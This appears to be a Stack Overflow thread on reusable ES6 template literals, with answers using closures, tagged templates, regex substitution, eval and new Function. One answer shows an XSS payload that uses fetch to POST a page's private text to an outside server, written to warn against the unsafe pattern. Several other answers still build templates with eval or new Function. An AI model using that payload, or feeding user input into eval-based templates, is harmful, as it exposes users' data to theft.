Can ES6 template literals be substituted at runtime (or reused)?

tl;dr: Is it possible to make a reusable template literal?

I've been trying to use template literals but I guess I just don't get it and now I'm getting frustrated. I mean, I think I get it, but "it" shouldn't be how it works, or how it should get. It should get differently.

All the examples I see (even tagged templates) require that the "substitutions" be done at declaration time and not run time, which seems utterly useless to me for a template. Maybe I'm crazy, but a "template" to me is a document that contains tokens which get substituted when you use it, not when you create it, otherwise it's just a document (i.e., a string). A template is stored with the tokens as tokens & those tokens are evaluated when you...evaluate it.

Everyone cites a horrible example similar to:

var a = 'asd';
return `Worthless ${a}!`

That's nice, but if I already know a, I would just return 'Worthless asd' or return 'Worthless '+a. What's the point? Seriously. Okay the point is laziness; fewer pluses, more readability. Great. But that's not a template! Not IMHO. And MHO is all that matters! The problem, IMHO, is that the template is evaluated when it's declared, so, if you do, IMHO:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Since expletive isn't declared, it outputs something like My undefined template. Super. Actually, in Chrome at least, I can't even declare the template; it throws an error because expletive is not defined. What I need is to be able to do the substitution after declaring the template:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

However I don't see how this is possible, since these aren't really templates. Even when you say I should use tags, nope, they don't work:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

This all has led me to believe that template literals are horribly misnamed and should be called what they really are: heredocs. I guess the "literal" part should have tipped me off (as in, immutable)?

Am I missing something? Is there a (good) way to make a reusable template literal?

---

I give you, reusable template literals:

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

And here is a naive "helper" function...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

...to make it "better".

I'm inclined to call them template guterals because of the area from which they produce twisty feelings.

To make these literals work like other template engines there needs to be an intermediary form.

The best way to do this is to use the Function constructor.

const templateString = "Hello ${this.name}!";
const templateVars = {
	name: "world"    
}

const fillTemplate = function(templateString, templateVars){
	return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

As with other template engines, you can get that string from other places like a file.

Some issues can appear using this method (for example, template tags would be harder to add). You also can't have inline JavaScript logic, because of the late interpolation. This can also be remedied with some thought.

You can put a template string in a function:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

You can do the same thing with a tagged template:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

The idea is to let the template parser split out the constant strings from the variable "slots", and then return a function that patches it all back together based on a new set of values each time.

Probably the cleanest way to do this is with arrow functions (because at this point, we're using ES6 already)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

...And for tagged template literals:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

This also avoids the use of eval() or Function() which can cause problems with compilers and cause a lot of slowdown.

Yes you can do it by parsing your string with template as JS by Function (or eval) - but this is not recommended and allow XSS attack

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example malicious string which will 'hack' fillTemplate function
  var evilTemplate = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var templateData = {Id:1234, User:22};
  var result = fillTemplate(evilTemplate, templateData);

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then backend save templates in DB and show them to other users...

Some bad user/hacker can then prepare malicious template 
with JS code... and when other logged users "see" that malicious 
template (e.g. by "Click me!" in this example), 
then it can read some information from their current 
page with private content and send it to external server. 

Or in worst case, that malicious template can send some 
authorized "action" request to the backend... 
(like e.g. action which delete some user content or change his name etc.).
In case when logged user was Admin then
action can be even more devastating (like delete user etc.)
</pre>
<div id='mydiv'>
Private content of some user
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Instead you can safely insert object obj fields to template str in dynamic way as follows

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

2019 answer:

Note: The library originally expected users to sanitise strings to avoid XSS. Version 2 of the library no longer requires user strings to be sanitised (which web developers should do anyway) as it avoids eval completely.

The es6-dynamic-template module on npm does this.

const fillTemplate = require('es6-dynamic-template');

Unlike the current answers:

• It uses ES6 template strings, not a similar format. Update version 2 uses a similar format, rather than ES6 template strings, to prevent users from using unsanitised input Strings.
• It doesn't need this in the template string
• You can specify the template string and variables in a single function
• It's a maintained, updatable module, rather than copypasta from StackOverflow

Usage is simple. Use single quotes as the template string will be resolved later!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Simplifying the answer provided by @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

In 2021 came the most straightforward solution yet.

const tl = $ =>`This ${$.val}`;
tl({val: 'code'});

It is almost the same as just writing and reusing a template literal (what the OP was wanting).

You can tweak things from here...

If you don't want to use ordered parameters or context/namespaces to reference the variables in your template, e.g. ${0}, ${this.something}, or ${data.something}, you can have a template function that takes care of the scoping for you.

Example of how you could call such a template:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

The Template function:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

The quirk in this case is you just have to pass a function (in the example I used an arrow function) that returns the ES6 template literal. I think it's a minor tradeoff to get the kind of reuseable interpolation we are after.

Here it is on GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

The short answer is just use _.template in lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

> Am I missing something? Is there a [good] way to make a reusable template literal?

Maybe I am missing something, because my solution to this issue seems so obvious to me that I am very surprised nobody wrote that already in such an old question.

I have an almost one-liner for it:

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}

That's all. When I want to reuse a template and defer the resolution of the substitutions, I just do:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

Applying this tag returns back a 'function' (instead of a 'string') that ignores any parameters passed to the literal. Then it can be called with new parameters later. If a parameter has no corresponding replace, it becomes 'undefined'.

---

Extended answer

This simple code is functional, but if you need more elaborated behavior, that same logic can be applied and there are endless possibilities. You could:

1. Make use of original parameters:

You could store the original values passed to the literal in the construction and use them in creative ways when applying the template. They could become flags, type validators, functions etc. This is an example that uses them as default values:

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }

Then:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 

2. Write a template factory:

Do it by wrapping this logic in a function that expects, as argument, a custom function that can be applied in the reduction (when joining the pieces of the template literal) and returns a new template with custom behavior.

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };

Then you could , e.g., write templates that automatically escape or sanitize parameters when writing embedded html, css, sql, bash...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);

With this naïve (I repeat, naïve!) sql template we could build queries like this:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`

3. Accept named parameters for substitution: A not-so-hard exercise, based on what was already given. There is an implementation in this other answer.

4. Make the return object behave like a 'string': Well, this is controversial, but could lead to interesting results. Shown in this other answer.

5. Resolve parameters within global namespace at call site:

>I give you, reusable template literals:

Well, this is what OP showed is his addendum, using the command evil, I mean, eval. This could be done without eval, just by searching the passed variable name into the global (or window) object. I will not show how to do it because I do not like it. Closures are the right choice.

Thanks to @Quentin-Engles with the excellent idea and the top answer, that got me started!

But I stored the new Function directly in a variable instead of returning the Function each time, so that both the function and the template literal are only built once, instead of each time you call it, like it is in Quentin's answer.

const templateString = "Hello ${this.name}.";
var myData = {
	name: "world"    
};

const buildItem = new Function("return `" + templateString + "`;");

console.log(buildItem.call(myData));  // Hello world.

myData.name = "Joe";
console.log(buildItem.call(myData));  // Hello Joe.

In general I'm against using the evil eval(), but in this case it makes sense:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Then if you change the values and call eval() again you get the new result:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

If you want it in a function, then it can be written like so:

function populate(a, b){
  return `${a}.${b}`;
}

You could just use a one-liner tagged template, like:

const SERVICE_ADDRESS = (s,tenant) => `http://localhost/${tenant}/api/v0.1/service`;

and in client code your consume it like:

const myTenant = 'me';
fetch(SERVICE_ADDRESS`${myTenant}`);

If you are looking for something rather simple (just fixed variable fields, no computations, conditionals…) but that does work also client-side on browsers without template string support like IE 8,9,10,11…

here we go:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

This is my best attempt:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

To generalify:

var s = (<variable names you want>) => {return `<template with those variables>`}

If you are not running E6, you could also do:

var s = function(<variable names you want>){return `<template with those variables>`}

This seems to be a bit more concise than the previous answers.

https://repl.it/@abalter/reusable-JS-template-literal

I was annoyed at the extra redundancy needed of typing this. every time, so I also added regex to expand variables like .a to this.a.

Solution:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Use as such:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

const fillTemplate = (template, values) => {
  template = template.replace(/(?<=\${)\w+(?=})/g, v=>"this."+v);
  return Function.apply(this, ["", "return `"+template+"`;"]).call(values);
};

console.log(fillTemplate("The man ${man} is brother of ${brother}", {man: "John", brother:"Peter"}));
//The man John is brother of Peter

UPDATED: The following answer is limited to single variable names, so, templates like: 'Result ${a+b}' are not valid for this case. However you can always play with the template values:

format("This is a test: ${a_b}", {a_b: a+b});

ORIGINAL ANSWER:

Based in the previous answers but creating a more "friendly" utility function:

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);
    
    return tpl_func.call(params);
}

You can invoque it just like:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

And the resulting string should be:

'This is a test: Hola, second param: Hi'

I just publish one npm package that can simply do this job. Deeply inspired by this answer.

const Template = require('dynamic-template-string');
 
var tpl = new Template('hello ${name}');
 
tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Its implement is deadly simple. Wish you will like it.

module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}

you can use inline arrow function like this, definition:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

usage:

console.log(template('my replaced string'));

Runtime template string

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

Test

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));

You can use the following function to resolve dynamically templates, supplying new data.

This use a non really common feature of javascript called Tagged Template Literal

function template(...args) {
  return (values) =>
    args[0].reduce(
      (acum, current, index) => 
        acum.concat(
          current, values[index] === undefined ? '' : values[index]
        ),
      ''
    )
}

const person = 'Lydia';
const age = 21;

template `${person} is ${age} years old... yes He is ${age}`(['jose', 35, 38]); //?

This gave me a major headache when I came across it. Literal templates in javascript are very cool BUT they **** as reusable or with dynamic values. But the solution is amazingly simple. So simple in fact I had to kick myself several times after spending a few days coding parsers and formatters and other solutions that ALL dead ended. In the end after I gave up on the idea and was going to use mustache or other template module, it hit me.....

const DT = function dynamicTemplate(source) { return (new Function(`return \`${source}\``))() }

//let a = 1, b = 2;
//DT("${a} + ${b} equals ${a + b}")
// prints '1 + 2 equals 3'

And that is all she wrote.

If you are using Angular, you can use @ngx-translate/core package as follows:

import { TranslateDefaultParser } from '@ngx-translate/core';

export class SomeClass {
    public parser = new TranslateDefaultParser();
    test() {
        // outputs "This is my great reusable template!"
        this.parser.interpolate('This is my {{expletive}} reusable template!', { expletive: 'great' });
    }
    ...
}

I solved this interpolation template using:

function flatKeys(inputObject: any): {[key: string]: any} {
	const response: {[key: string]: any} = {};
  function iterative(currentObject: any, parentKeys: string[]=[]) {
  	const llaves = Object.keys(currentObject);
    for (let i=0; i<llaves.length; i++) {
    	const llave: string = llaves[i];
      const valor = currentObject[llave];
      const llavesNext = parentKeys.concat(llave);
      if (typeof valor == 'object') {
      	iterative(valor, llavesNext);
      } else {
      	response[llavesNext.join('.')] = valor;
      }
    }
  }
  iterative(inputObject);
  return response;
}

function interpolate(template: string, values: any, defaultValue='') {
  const flatedValues = flatKeys(values);
  const interpolated = template.replace(/\${(.*?)}/g, function (x,g) {
    const value = flatedValues[g];
    if ([undefined, null].indexOf(value) >= 0) {
      return defaultValue;
    }
    return value;
  });
  return interpolated;
}

const template = "La ${animal.name} tomaba ${alimento.name} con el ${amigos.0.names}";
const values = {
	animal: {
  	name:"Iguana"
  },
  alimento: {
  	name: "café"
  },
  amigos: [
  	{ name: "perro" },
    true
  ]
};

const interpolated = interpolate(template, values);

console.log(interpolated);